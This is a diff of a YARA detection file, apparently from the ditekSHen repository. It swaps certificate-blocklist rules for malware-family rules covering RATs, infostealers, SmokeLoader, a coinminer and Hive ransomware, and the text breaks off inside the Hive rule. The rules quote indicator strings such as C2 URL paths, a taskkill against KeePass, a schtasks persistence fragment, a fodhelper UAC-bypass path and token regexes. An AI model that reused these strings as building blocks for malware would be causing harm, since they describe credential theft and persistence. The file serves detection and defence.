-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "GTEC s.r.o." and pe.signatures[i].serial=="1a:31:16:30:87:6f:69:4f:e1:b7:5d:97:2a:95:3b:ca")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00A496Bc774575C31Abec861B68C36Dcb6 : FILE
+rule DITEKSHEN_MALWARE_Win_Markirat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects MarkiRAT"
 		author = "ditekSHen"
-		id = "2415bf62-15d4-562a-a448-682474d89af0"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "6cfa276c-a64e-532a-a1ae-11a9e00867bd"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3854-L3865"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6380-L6403"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bf5282687f4707bc16d388361ddc0af1102df0d29066ece0b57215fcf9fdcc94"
+		logic_hash = "17b8bcfe8d2b4c87ff8e0bddb436e18029a3b28a5ad3994fe9bef359588d9cad"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "b2c70d30c0b34bfeffb8a9cb343e5cad5f6bcbf7"
-		importance = 20
+
+	strings:
+		$pdb = "\\mfcmklg.pdb" ascii
+		$s1 = "runinhome Completed" wide
+		$s2 = "ERROR find next file<br>" wide
+		$s3 = "<br><mark>Hello: %s</mark>" wide
+		$s4 = "<br><mark>CLIPBOARD[" wide
+		$s5 = "@userhome@" wide
+		$s6 = "Global\\{2194ABA1-BFFA-4e6b-8C26-D1BB20190312}" wide
+		$s7 = "taskkill /im svehost.exe /t /f" fullword ascii
+		$s8 = "taskkill /im keepass.exe /t /f" fullword ascii
+		$ba = /bitsadmin \/(addfile|cancel|SetPriority|resume)/ ascii wide
+		$c1 = "/ech/client.php?u=" wide
+		$c2 = "/up/uploadx.php?u=" wide
+		$c3 = "/ech/echo.php?req=rr&u=" wide
+		$c4 = "/ech/rite.php" wide
+		$c5 = "http://microsoft.com-view.space/i.php?u=" wide
+		$c6 = "Content-Disposition: form-data; name=\"uploadedfile\"; filename=\"" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ORGLE DVORSAK, d.o.o" and pe.signatures[i].serial=="00:a4:96:bc:77:45:75:c3:1a:be:c8:61:b6:8c:36:dc:b6")
+		uint16(0)==0x5a4d and (($pdb and any of them ) or (5 of ($s*)) or (3 of ($c*)) or ((#ba>3 and 4 of them )))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Ea720222D92Dc8D48E3B3C3B0Fc360A6 : FILE
+rule DITEKSHEN_MALWARE_Win_Klingonrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects KlingonRAT"
 		author = "ditekSHen"
-		id = "2e43e98a-61f8-5f93-a415-52cb6453620d"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "bea50bce-b38c-50a0-902a-1014615bd9b8"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3867-L3878"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6405-L6427"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "97b2699d4cb0fd88e3440ea82dd6ea87cdac69c6ba2acd884f5aef577b55e79d"
+		logic_hash = "2abfbfc1b67f931f15bfdfd2cd4ba7821e62eb8c518bbc04629c0dd694bbd9c1"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "522d0f1ca87ef784994dfd63cb0919722dfdb79f"
-		importance = 20
+
+	strings:
+		$go = "Go build ID:" ascii
+		$s1 = "/UCRelease/src/client/uac/once/"
+		$s2 = "%T\\AppData\\Local\\Windows Update\\"
+		$s3 = "%TSoftware\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
+		$s4 = "wmic /namespace:'\\\\root\\subscription' PATH"
+		$s5 = "C:\\Windows\\System32\\fodhelper.exeCaption,ParentProcessId,ProcessId"
+		$s6 = "ldpro.exelsass.exeluall.exeluspt.exe"
+		$s7 = "scangui.exedeps/lsass.exeetrustcipe.exefile"
+		$s8 = "alogserv.exeaplica32.exeapvxdwin.exeatro55en.exeautodown.exeavconsol.exeavgserv9.exeavkwctl9.exeavltmain.exeavpdos32.exeavsynmgr.exeavwupd32.exeavwupsrv.exe"
+		$c1 = "%s/keyLogger?machineId=%s" ascii
+		$c2 = "%s/stealer?machineId=%s" ascii
+		$c3 = "%s/lsass?machineId=%s" ascii
+		$c4 = "%s/logger?machineId=%s" ascii
+		$c5 = "%s/machineInfo?machineId=%s" ascii
+		$c6 = "failurehttps://%s:%d/botif-modified-sinceillegal" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "CAVANAGH NETS LIMITED" and pe.signatures[i].serial=="00:ea:72:02:22:d9:2d:c8:d4:8e:3b:3c:3b:0f:c3:60:a6")
+		uint16(0)==0x5a4d and ($go) and (3 of ($c*) or 5 of ($s*) or (3 of ($s*) and 1 of ($c*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_333Ca7D100B139B0D9C1A97Cb458E226 : FILE
+rule DITEKSHEN_MALWARE_Win_Xfiles : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects X-Files infostealer (formerly BotSh1zoid)"
 		author = "ditekSHen"
-		id = "dd5b3eb8-81c0-570d-9ec8-6a55eb7864f9"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "3f8b2f9b-aa6a-5ffc-95b8-5e44de0d1a49"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3880-L3891"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6429-L6460"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4519127b975d93297cca9b465ad88b3d38ad0fce0de182246dca3f000e2438be"
+		logic_hash = "0c04a8f019aea36f4bba3ce8289c2d608c69d76bbf321052560b4ca2214be057"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "d618cf7ef3a674ff1ea50800b4d965de0ff463cb"
-		importance = 20
+
+	strings:
+		$x1 = "\\BotSh1zoid\\" ascii
+		$x2 = "\\BuildPacker.pdb" ascii
+		$x3 = "\\Svc_host.pdb" ascii nocase
+		$s1 = "WDefender" fullword ascii
+		$s2 = "CheckDefender" fullword ascii
+		$s3 = "RunPS" fullword ascii
+		$s4 = "DownloadFile" fullword ascii
+		$v1_1 = "<Pass encoding=\"base64\">(.*)</Pass>" wide
+		$v1_2 = "Grabber\\" wide
+		$v1_3 = "/log.php" wide
+		$v1_4 = /Browsers\\(Logins|Cards|Cookies)/ wide
+		$v1_5 = "<StealSteam>b__" ascii
+		$v1_6 = "record_header_field" fullword ascii
+		$v1_7 = "JavaScreenshotiptReader" fullword ascii
+		$v1_8 = "HTTPDebuggerPro" wide
+		$v1_9 = "IEInspector" wide
+		$v1_10 = "Fiddler" wide
+		$v2_1 = /get_(Cookie|Logins|Cards)Path/ fullword ascii
+		$v2_2 = "get_AllScreens" fullword ascii
+		$v2_3 = "{0}_{1}_{2}.zip" fullword wide
+		$v2_4 = "\\Stealer" fullword wide
+		$g1 = "$983a3552-4ec3-4936-bd4a-8e6fd67b4c67" fullword ascii
+		$g2 = "$a5d9ca4d-400f-4e07-8c09-a916b548f2e3" fullword ascii
+		$g3 = "$ebc25cf6-9120-4283-b972-0e5520d0000C" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FSE, d.o.o." and pe.signatures[i].serial=="33:3c:a7:d1:00:b1:39:b0:d9:c1:a9:7c:b4:58:e2:26")
+		uint16(0)==0x5a4d and ((1 of ($x*) and (3 of ($s*) or 3 of ($v1*) or 3 of ($v2*))) or 7 of ($v1*) or 3 of ($v2*) or (2 of ($g*) and 3 of them ))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_58Ec8821Aa2A3755E1075F73321756F4 : FILE
+rule DITEKSHEN_MALWARE_Win_Allakore : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects AllaKore"
 		author = "ditekSHen"
-		id = "efa0e5c6-773a-5740-b7f9-ec10a92b1623"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "371663c1-6faf-5ca3-a79e-e4340d44660b"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3893-L3904"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6462-L6493"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b79f161c77cbae0bec55fb2b047983660c84d2bb93db8c91cb6c22fd4ad197cc"
+		logic_hash = "0e93682787e27246cdddbd67ca5360728c65049a2e97e71809b5902854aa4bef"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "19dd0d7f2edf32ea285577e00dd13c966844cfa4"
-		importance = 20
+
+	strings:
+		$x1 = "AllaKore Remote - Chat" fullword wide
+		$x2 = "AllaKore Remote - Share Files" fullword wide
+		$x3 = "CYRUS - Chat" fullword wide
+		$x4 = "CYRUS - Share Files" fullword wide
+		$x5 = "<|REDIRECT|><|GETFOLDERS|>" fullword wide
+		$x6 = "<|REDIRECT|><|DOWNLOADFILE|>" fullword wide
+		$x7 = "<|REDIRECT|><|WHEELMOUSE|>" fullword wide
+		$x8 = "<|REDIRECT|><|SETMOUSE" wide
+		$x9 = "<|CHECKIDPASSWORD|>" fullword wide
+		$x10 = "<|KEYBOARDSOCKET|>" fullword wide
+		$x11 = "<|REDIRECT|><|CLIPBOARD|>" fullword wide
+		$x12 = "<|IDEXISTS!REQUESTPASSWORD|>" fullword wide
+		$x13 = "<|GETFULLSCREENSHOT|>" fullword wide
+		$x14 = "<|MAINSOCKET|>" fullword ascii
+		$s1 = "You can not connect with yourself!" wide
+		$s2 = "Waiting for authentication..." wide
+		$s3 = "Connected support!" wide
+		$s4 = "ID does nor exists." wide
+		$s5 = "Finding the ID..." wide
+		$s6 = "PC is Busy!" wide
+		$s7 = "Upload &  Execute" fullword ascii
+		$s8 = "Download file selected" fullword ascii
+		$s9 = "CaptureKeys_TimerTimer" fullword ascii
+		$s10 = "Remote File Manager" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Cbebbfeaddcbcccffdcdc" and pe.signatures[i].serial=="58:ec:88:21:aa:2a:37:55:e1:07:5f:73:32:17:56:f4")
+		uint16(0)==0x5a4d and (4 of ($x*) or 4 of ($s*) or (3 of ($s*) and 2 of ($x*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0940Fa9A4080F35052B2077333769C2F : FILE
+rule DITEKSHEN_MALWARE_Win_Reverserat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects ReverseRAT"
 		author = "ditekSHen"
-		id = "2cc722de-97ff-53d1-9436-dc88c844186b"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "df13fc6c-025a-54db-809d-4f3c27b8aa7a"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3906-L3917"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6495-L6514"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3ecf6982c779a5fd867fef4b753313e379151491fa8865e8ae20f0c9362431a2"
+		logic_hash = "87ab00a5588bfce04ec47a07b184fffe359e472ac8bf561b02a8b070edf2e014"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "da154c058cd75ff478b248701799ea8c683dd7a5"
-		importance = 20
+
+	strings:
+		$pdb1 = "\\ReverseRat.pdb" ascii nocase
+		$pdb2 = "\\ReverseRat\\obj\\" ascii nocase
+		$s1 = "processCmd" fullword ascii
+		$s2 = "CmdOutputDataHandler" fullword ascii
+		$s3 = "sendingProcess" fullword ascii
+		$s4 = "SetStartup" fullword ascii
+		$s5 = "RunServer" fullword ascii
+		$s6 = "_OutputDataReceived" ascii
+		$s7 = { 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00
+                00 03 0a 00 00 13 74 00 65 00 72 00 6d 00
+                69 00 6e 00 61 00 74 00 65 00 00 09 65 00
+                78 00 69 00 74 00 }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PROFF LAIN, OOO" and pe.signatures[i].serial=="09:40:fa:9a:40:80:f3:50:52:b2:07:73:33:76:9c:2f")
+		uint16(0)==0x5a4d and ((1 of ($pdb*) and 2 of ($s*)) or 5 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_56Fff139Df5Ae7E788E5D72196Dd563A : FILE
+rule DITEKSHEN_MALWARE_Win_Smokeloader : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects SmokeLoader variants"
 		author = "ditekSHen"
-		id = "7cdca79f-5bf3-5768-b034-4d3bb177ffc9"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "e8f28f89-3a79-5d78-8c0a-bad16a57df84"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3919-L3930"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6516-L6539"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "022fd24ba023dba06f1c63d1d1c90d17dc82b060d634a27b237d37e37455964f"
+		logic_hash = "65c56ed11a3cb4e4bcf8fd2a6be097545cb96e84ba4c4202969d1d163a2a36ed"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "0f69ccb73a6b98f548d00f0b740b6e42907efaad"
-		importance = 20
+
+	strings:
+		$x1 = "G2A/CLP/05/RYS" fullword wide
+		$x2 = "0N1Y/53R10U5/BU51N355" fullword wide
+		$x3 = "CH4PG3PB-6HT2VI9C-O2NL2NO5-QP1BW0EG" fullword wide
+		$s1 = "Azure-Update-Task" fullword wide
+		$s2 = "C:\\Windows\\System32\\schtasks.exe" fullword wide
+		$s3 = "/C /create /F /sc minute /mo 1 /tn \"" fullword wide
+		$s4 = "\\Microsoft\\Network" fullword wide
+		$s5 = "\\Microsoft\\TelemetryServices" fullword wide
+		$s6 = "\" /tr \"" fullword wide
+		$e1 = "\\sqlcmd.exe" fullword wide
+		$e2 = "\\sihost.exe" fullword wide
+		$e3 = "\\fodhelper.exe" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Cifromatika LLC" and pe.signatures[i].serial=="56:ff:f1:39:df:5a:e7:e7:88:e5:d7:21:96:dd:56:3a")
+		uint16(0)==0x5a4d and ((1 of ($x*) and 4 of ($s*)) or (5 of ($s*) and 1 of ($e*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_03D433Fdc2469E9Fd878C80Bc0545147 : FILE
+rule DITEKSHEN_MALWARE_Win_Dlinjector03 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects unknown loader / injector"
 		author = "ditekSHen"
-		id = "4f793397-2768-5b34-a9f5-9100dccfa80e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "2d0df2d8-5b1c-5408-b8c7-8ca14d57da0f"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3932-L3943"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6541-L6551"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fde125138ade8ab1a61544b90160f2c1d4bba3a09ffcf828768f98d925ab91c6"
+		logic_hash = "10092e7916775fe0a39baa5714fdda89f443ceabdcc610cc1fcd5a0fb0e68d0c"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "64e90267e6359060a8669aebb94911e92bd0c5f3"
-		importance = 20
+
+	strings:
+		$x1 = "LOADER ERROR" fullword ascii
+		$s1 = "_ZN6curlpp10OptionBaseC2E10CURLoption" fullword ascii
+		$s2 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xEC\\xA3\\xBC\\xEC\\x8B\\x9D\\xED\\x9A\\x8C\\xEC\\x82\\xAC \\xEC\\x97\\x98\\xEB\\xA6\\xAC\\xEC\\x8B\\x9C\\xEC\\x98\\xA8\\xEB\\x9E\\xA9" and pe.signatures[i].serial=="03:d4:33:fd:c2:46:9e:9f:d8:78:c8:0b:c0:54:51:47")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0Be3F393D1Ef0272Aed0E2319C1B5Dd0 : FILE
+rule DITEKSHEN_MALWARE_Win_Coinminer02 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects coinmining malware"
 		author = "ditekSHen"
-		id = "2be05341-c7a2-58fd-9211-8d3a912a7d5c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "1878a1b5-4e97-5575-802e-573caded2b3a"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3945-L3956"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6553-L6571"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a7ff863b07d5ce011bdbcf86a3f562e8201926c138848544559bd1d16597ff95"
+		logic_hash = "83760aef667819923a2ac67c006e03bb6d4260b7a4aedd691dd5b145fb50d5c1"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "7745253a3f65311b84d8f64b74f249364d29e765"
-		importance = 20
+
+	strings:
+		$s1 = "%s/%s (Windows NT %lu.%lu" fullword ascii
+		$s2 = "\\Microsoft\\Libs\\WR64.sys" wide
+		$s3 = "\\\\.\\WinRing0_" wide
+		$s4 = "pool_wallet" ascii
+		$s5 = "cryptonight" ascii
+		$s6 = "mining.submit" ascii
+		$c1 = "stratum+ssl://" ascii
+		$c2 = "daemon+http://" ascii
+		$c3 = "stratum+tcp://" ascii
+		$c4 = "socks5://" ascii
+		$c5 = "losedaemon+https://" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Invincea, Inc." and pe.signatures[i].serial=="0b:e3:f3:93:d1:ef:02:72:ae:d0:e2:31:9c:1b:5d:d0")
+		uint16(0)==0x5a4d and (3 of ($s*) and 1 of ($c*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_65628C146Ace93037Fc58659F14Bd35F : FILE
+rule DITEKSHEN_MALWARE_Win_Mercurial : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Mercurial infostealer"
 		author = "ditekSHen"
-		id = "9104836a-3385-5b78-9e1d-705b7ed4b721"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "c262ada2-01ca-5fc1-adef-987908514019"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3958-L3969"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6573-L6593"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a6b4cc307d6e6f4d5d275ef0765a7082216b1d277c9b1328abe7cb2c2497e411"
+		logic_hash = "400f8f717a4e07bf4de508c02bbcd9e82bf21f3df84c989fc622378f33e192f0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "b59165451be46b8d72d09191d0961c755d0107c8"
-		importance = 20
+
+	strings:
+		$x1 = "mercurial grabber" wide nocase
+		$x2 = "\"text\":\"Mercurial Grabber |" wide
+		$x3 = "/nightfallgt/mercurial-grabber" wide
+		$s1 = "/LimerBoy/Adamantium-Thief/" ascii
+		$s2 = "Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0" fullword wide
+		$s3 = "StealCookies" fullword ascii
+		$s4 = "StealPasswords" fullword ascii
+		$s5 = "DetectDebug" fullword ascii
+		$s6 = "CaptureScreen" fullword ascii
+		$s7 = "WebhookContent" fullword ascii
+		$s8 = /Grab(Token|Product|IP|Hardware)/ fullword ascii
+		$p1 = "[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}" fullword ascii wide
+		$p2 = "mfa\\.[\\w-]{84}" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ESET, spol. s r.o." and pe.signatures[i].serial=="65:62:8c:14:6a:ce:93:03:7f:c5:86:59:f1:4b:d3:5f")
+		uint16(0)==0x5a4d and (1 of ($x*) or 5 of ($s*) or ( all of ($p*) and 3 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0084817E07288A5025B9435570E7Fec1D3 : FILE
+rule DITEKSHEN_MALWARE_Win_Phonzy : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects specific downloader agent"
 		author = "ditekSHen"
-		id = "31528b27-4a0c-5e97-b201-07e89248196a"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "d35f41e4-4633-5482-9ae4-79354463f1b9"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3971-L3982"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6595-L6608"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "89da849911c6d6a3b6d45166bd9975828887b50ee149dea4cbae9cc5c0ecf6d2"
+		logic_hash = "924e7674d76594314df1a32d38f19cee12a3ed49cdf5e153f98bb08a7634055c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "f22e8c59b7769e4a9ade54aee8aaf8404a7feaa7"
-		importance = 20
+
+	strings:
+		$ua1 = "User-Agent: Mozilla/5.0 (X11; Linux" wide
+		$s1 = "<meta name=\"keywords\" content=\"([\\w\\d ]*)\">" fullword wide
+		$s2 = "WebClient" fullword ascii
+		$s3 = "WriteAllText" fullword ascii
+		$s4 = "DownloadString" fullword ascii
+		$s5 = "WriteByte" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE8\\xB4\\xBC\\xE8\\x89\\xBE\\xE5\\xBE\\xB7\\xE8\\xB4\\xBC\\xE6\\x8F\\x90\\xD0\\xAD\\xD0\\xAD\\xE6\\x8F\\x90\\xE8\\xB4\\xBC\\xE8\\xB4\\xBC\\xD0\\xAD\\xE5\\xBE\\xB7\\xE8\\xB4\\xBC\\xE8\\xB4\\xBC\\xE5\\xB0\\x94\\xE6\\x8F\\x90\\xE8\\x89\\xBE\\xE6\\x8F\\x90\\xE8\\xB4\\xBC\\xE5\\xB0\\x94\\xE6\\x8F\\x90\\xE8\\xB4\\xBC\\xE8\\x89\\xBE\\xD0\\xAD\\xE8\\x89\\xBE" and pe.signatures[i].serial=="00:84:81:7e:07:28:8a:50:25:b9:43:55:70:e7:fe:c1:d3")
+		uint16(0)==0x5a4d and ( all of ($s*) or (1 of ($ua*) and ($s1) and 2 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4D26Bab89Fcf7Ff9Fa4Dc4847E563563 : FILE
+rule DITEKSHEN_MALWARE_Win_Hive : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Hive ransomware"
 		author = "ditekSHen"
-		id = "168281bf-35ad-542a-adb4-20d719e31e2d"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "7b79dc54-01c7-5667-acf5-a32cd7a45b54"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3984-L3995"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6610-L6647"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3eadf6eda2819101a370688d636250085915be3ebf1b3dec7a86d12a6a5ce681"
+		logic_hash = "14c20ff2fa62d80eed0f4f364e24d93d493d4f3b47f664983714940afa74046f"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "2be34a7a39df38f66d5550dcfa01850c8f165c81"
-		importance = 20
+
+	strings:
+		$url1 = "http://hivecust" ascii
+		$url2 = "http://hiveleakdb" ascii
+		$s1 = "encrypt_files.go" ascii
+		$s2 = "erase_key.go" ascii
+		$s3 = "kill_processes.go" ascii
+		$s4 = "remove_shadow_copies.go" ascii
+		$s5 = "stop_services_windows.go" ascii
+		$s6 = "remove_itself_windows.go" ascii
+		$x1 = "/encryptor/" ascii
+		$x2 = "HOW_TO_DECRYPT.txt" ascii
+		$x3 = "FilesEncrypted" fullword ascii
+		$x4 = "EncryptionStarted" fullword ascii
+		$x5 = "encryptFilesGroup" fullword ascii
+		$x6 = "Your data will be undecryptable" ascii
+		$x7 = "- Do not fool yourself. Encryption has perfect secrecy" ascii
+		$v1_1 = ".EncryptFiles." ascii
+		$v1_2 = ".EncryptFilename." ascii
+		$v1_3 = ")*struct { F uintptr; .autotmp_14 string }" ascii
+		$v1_4 = "D*struct { F uintptr; data *[]uint8; seed *uint8; fnc *main.decFunc }" ascii
+		$v1_5 = "golang.org/x/sys/windows.getSystemWindowsDirectory" ascii
+		$v1_6 = "path/filepath.WalkDir" ascii
+		$v2_1 = "taskkill /f /im" ascii
+		$v2_2 = "schtasks /delete /tn" ascii
+		$v2_3 = "encfile.txt" ascii
+		$v2_4 = "README.html" ascii
+		$v2_5 = "total encrypt %v/%v" ascii
+		$v2_6 = "<b>ITSSHOWKEY</b>" ascii
+		$v2_7 = "Recovery your files." ascii
+		$v2_8 = "yaml:\"send_host\"" ascii
+		$v2_9 = "yaml:\"ignore_dir\"" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "qvarn pty ltd" and pe.signatures[i].serial=="4d:26:ba:b8:9f:cf:7f:f9:fa:4d:c4:84:7e:56:35:63")
